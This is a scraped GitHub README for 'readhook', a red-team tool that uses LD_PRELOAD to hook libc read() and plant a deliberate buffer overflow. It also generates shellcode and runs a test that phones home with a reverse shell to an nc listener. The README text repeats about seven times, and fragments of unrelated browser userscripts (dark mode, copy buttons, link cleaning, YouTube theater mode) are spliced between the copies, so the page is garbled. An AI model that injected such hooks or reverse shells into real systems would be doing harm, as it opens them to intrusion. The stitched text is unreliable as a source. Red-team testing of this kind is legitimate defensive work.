Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content

Repository files navigation

readhook

Red-team tool to hook libc read syscall with a buffer overflow vulnerability.

Building

Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.)

./build.sh

Testing

First, start a listener (in a different shell) for test.sh to phone-home to. e.g.

nc -l 5555

Then, run test.sh. e.g.

./test.sh localhost:5555

Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program.

Tutorial

See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687

Additional Resources

This repository contains a simple node-based echo server with instructions on running under readhook.

git clone https://github.com/polyverse/node-echo-server

This repository contains the same node-based echo server built with readhook already pre-installed.

git clone https://github.com/polyverse/readhook-node-echo-server